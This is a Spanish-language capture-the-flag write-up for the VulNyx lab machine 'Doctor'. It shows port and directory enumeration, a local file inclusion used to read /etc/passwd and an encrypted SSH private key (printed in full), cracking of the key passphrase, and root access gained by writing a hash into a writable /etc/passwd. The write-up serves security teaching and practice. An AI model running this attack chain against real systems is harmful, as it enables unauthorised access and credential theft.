VulNyx - Doctor | d4t4s3c hacks & pills

Information

Doctor es una máquina Linux de dificultad baja de la plataforma VulNyx, fue creada por el usuario m0w y funciona correctamente en los hipervisores VirtualBox y VMware.

Enumeration

Nmap

TCP

root@kali:~ ❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.79
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-27 13:06 +0200
Nmap scan report for 192.168.1.79
Host is up (0.000056s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

root@kali:~ ❯ nmap -sVC -p22,80 192.168.1.79
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-27 13:06 +0200
Nmap scan report for 192.168.1.79
Host is up (0.00038s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 44:95:50:0b:e4:73:a1:85:11:ca:10:ec:1c:cb:d4:26 (RSA)
|   256 27:db:6a:c7:3a:9c:5a:0e:47:ba:8d:81:eb:d6:d6:3c (ECDSA)
|_  256 e3:07:56:a9:25:63:d4:ce:39:01:c1:9a:d9:fe:de:64 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Docmed
|_http-server-header: Apache/2.4.38 (Debian)

Shell (admin)

80/TCP (HTTP)

Site

Directory Fuzzing

root@kali:~ ❯ gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.79/
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.79/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
img                  (Status: 301) [Size: 310] [--> http://192.168.1.79/img/]
css                  (Status: 301) [Size: 310] [--> http://192.168.1.79/css/]
js                   (Status: 301) [Size: 309] [--> http://192.168.1.79/js/]
fonts                (Status: 301) [Size: 312] [--> http://192.168.1.79/fonts/]
server-status        (Status: 403) [Size: 277]
Progress: 220544 / 220544 (100.00%)
===============================================================
Finished
===============================================================

Local File Inclusion (LFI)

En la sección Doctors de la navbar, se puede observar que mediante doctor-item.php incluye la página Doctors.html.

Interesting Files

Confirmo que es vulnerable a LFI ya que consigo leer el archivo /etc/passwd, también enumero a los usuarios admin y root.

root@kali:~ ❯ curl -sX GET "192.168.1.79/doctor-item.php?include=/etc/passwd" | grep "sh$"
root:x:0:0:root:/root:/bin/bash
admin:x:1000:1000:admin:/home/admin:/bin/bash

Obtengo la clave privada (id_rsa) del usuario admin.

root@kali:~ ❯ curl -sX GET "192.168.1.79/doctor-item.php?include=/home/admin/.ssh/id_rsa" 
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,9FB14B3F3D04E90E

uuQm2CFIe/eZT5pNyQ6+K1Uap/FYWcsEklzONt+x4AO6FmjFmR8RUpwMHurmbRC6
hqyoiv8vgpQgQRPYMzJ3QgS9kUCGdgC5+cXlNCST/GKQOS4QMQMUTacjZZ8EJzoe
o7+7tCB8Zk/sW7b8c3m4Cz0CmE5mut8ZyuTnB0SAlGAQfZjqsldugHjZ1t17mldb
+gzWGBUmKTOLO/gcuAZC+Tj+BoGkb2gneiMA85oJX6y/dqq4Ir10Qom+0tOFsuot
b7A9XTubgElslUEm8fGW64kX3x3LtXRsoR12n+krZ6T+IOTzThMWExR1Wxp4Ub/k
HtXTzdvDQBbgBf4h08qyCOxGEaVZHKaV/ynGnOv0zhlZ+z163SjppVPK07H4bdLg
9SC1omYunvJgunMS0ATC8uAWzoQ5Iz5ka0h+NOofUrVtfJZ/OnhtMKW+M948EgnY
zh7Ffq1KlMjZHxnIS3bdcl4MFV0F3Hpx+iDukvyfeeWKuoeUuvzNfVKVPZKqyaJu
rRqnxYW/fzdJm+8XViMQccgQAaZ+Zb2rVW0gyifsEigxShdaT5PGdJFKKVLS+bD1
tHBy6UOhKCn3H8edtXwvZN+9PDGDzUcEpr9xYCLkmH+hcr06ypUtlu9UrePLh/Xs
94KATK4joOIW7O8GnPdKBiI+3Hk0qakL1kyYQVBtMjKTyEM8yRcssGZr/MdVnYWm
VD5pEdAybKBfBG/xVu2CR378BRKzlJkiyqRjXQLoFMVDz3I30RpjbpfYQs2Dm2M7
Mb26wNQW4ff7qe30K/Ixrm7MfkJPzueQlSi94IHXaPvl4vyCoPLW89JzsNDsvG8P
hrkWRpPIwpzKdtMPwQbkPu4ykqgKkYYRmVlfX8oeis3C1hCjqvp3Lth0QDI+7Shr
Fb5w0n0qfDT4o03U1Pun2iqdI4M+iDZUF4S0BD3xA/zp+d98NnGlRqMmJK+StmqR
IIk3DRRkvMxxCm12g2DotRUgT2+mgaZ3nq55eqzXRh0U1P5QfhO+V8WzbVzhP6+R
MtqgW1L0iAgB4CnTIud6DpXQtR9l//9alrXa+4nWcDW2GoKjljxOKNK8jXs58SnS
62LrvcNZVokZjql8Xi7xL0XbEk0gtpItLtX7xAHLFTVZt4UH6csOcwq5vvJAGh69
Q/ikz5XmyQ+wDwQEQDzNeOj9zBh1+1zrdmt0m7hI5WnIJakEM2vqCqluN5CEs4u8
p1ia+meL0JVlLobfnUgxi3Qzm9SF2pifQdePVU4GXGhIOBUf34bts0iEIDf+qx2C
pwxoAe1tMmInlZfR2sKVlIeHIBfHq/hPf2PHvU0cpz7MzfY36x9ufZc5MH2JDT8X
KREAJ3S0pMplP/ZcXjRLOlESQXeUQ2yvb61m+zphg0QjWH131gnaBIhVIj1nLnTa
i99+vYdwe8+8nJq4/WXhkN+VTYXndET2H0fFNTFAqbk2HGy6+6qS/4Q6DVVxTHdp
4Dg2QRnRTjp74dQ1NZ7juucvW7DBFE+CK80dkrr9yFyybVUqBwHrmmQVFGLkS2I/
8kOVjIjFKkGQ4rNRWKVoo/HaRoI/f2G6tbEiOVclUMT8iutAg8S4VA==
-----END RSA PRIVATE KEY-----

Cracking (id_rsa)

Con RSAcrack obtengo el passphrase (unicorn) asociado a la clave privada (id_rsa).

root@kali:~ ❯ RSAcrack -k id_rsa -w /opt/techyou.txt

 ╭━━━┳━━━┳━━━╮          ╭╮  
 ┃╭━╮┃╭━╮┃╭━╮┃          ┃┃  
 ┃╰━╯┃╰━━┫┃ ┃┣━━┳━┳━━┳━━┫┃╭╮
 ┃╭╮╭┻━━╮┃╰━╯┃╭━┫╭┫╭╮┃╭━┫╰╯╯
 ┃┃┃╰┫╰━╯┃╭━╮┃╰━┫┃┃╭╮┃╰━┫╭╮╮
 ╰╯╰━┻━━━┻╯ ╰┻━━┻╯╰╯╰┻━━┻╯╰╯
─────────────────────────────
 code: d4t4s3c   ver: v1.0.0
─────────────────────────────
[i] Cracking | id_rsa
[i] Wordlist | /opt/techyou.txt
[*] Status   | 1243/10001/12%/unicorn
[+] Password | unicorn
─────────────────────────────


root@kali:~ ❯ 

22/TCP (SSH)

Connect

Accedo al sistema como usuario admin con la clave privada (id_rsa) y el passphrase obtenido.

root@kali:~ ❯ ssh -i id_rsa admin@192.168.1.79 2>/dev/null
Enter passphrase for key 'id_rsa': 
admin@doctor:~$ id ; hostname
uid=1000(admin) gid=1000(admin) grupos=1000(admin)
doctor

Privilege Escalation

Enumeration

Writable Files

El usuario admin dispone de permisos de escritura sobre el archivo /etc/passwd.

admin@doctor:~$ find / -writable -type f 2>/dev/null |grep -viE "var|proc|sys|home"
/etc/passwd
admin@doctor:~$ ls -l /etc/passwd
-rw----rw- 1 root root 1392 dic 30  2024 /etc/passwd

Abuse

/etc/passwd

Mediante el password (123456) creo un hash con openssl.

-1 MD5-based password algorithm

admin@doctor:~$ openssl passwd -1 123456
$1$dpdzlmMu$JgLHOjI9LrjnG54OsHh6w/

En la línea del usuario root, elimino (x) y pego el hash previamente creado, para que la validación del password se realice desde el archivo /etc/passwd en lugar del archivo /etc/shadow.

admin@doctor:~$ grep root /etc/passwd
root:x:0:0:root:/root:/bin/bash

admin@doctor:~$ nano /etc/passwd

admin@doctor:~$ grep root /etc/passwd
root:$1$dpdzlmMu$JgLHOjI9LrjnG54OsHh6w/:0:0:root:/root:/bin/bash

Me convierto en usuario root.

admin@doctor:~$ su -
Contraseña: 
root@doctor:~# id ; hostname
uid=0(root) gid=0(root) grupos=0(root)
doctor

Flags

Ya como usuario root puedo leer las flags user.txt y root.txt.

root@doctor:~# find / -name user.txt -o -name root.txt |xargs cat
081*****************************
dfd*****************************

Hasta aquí la resolución de la máquina Doctor de VulNyx.

Happy Hacking! 🙂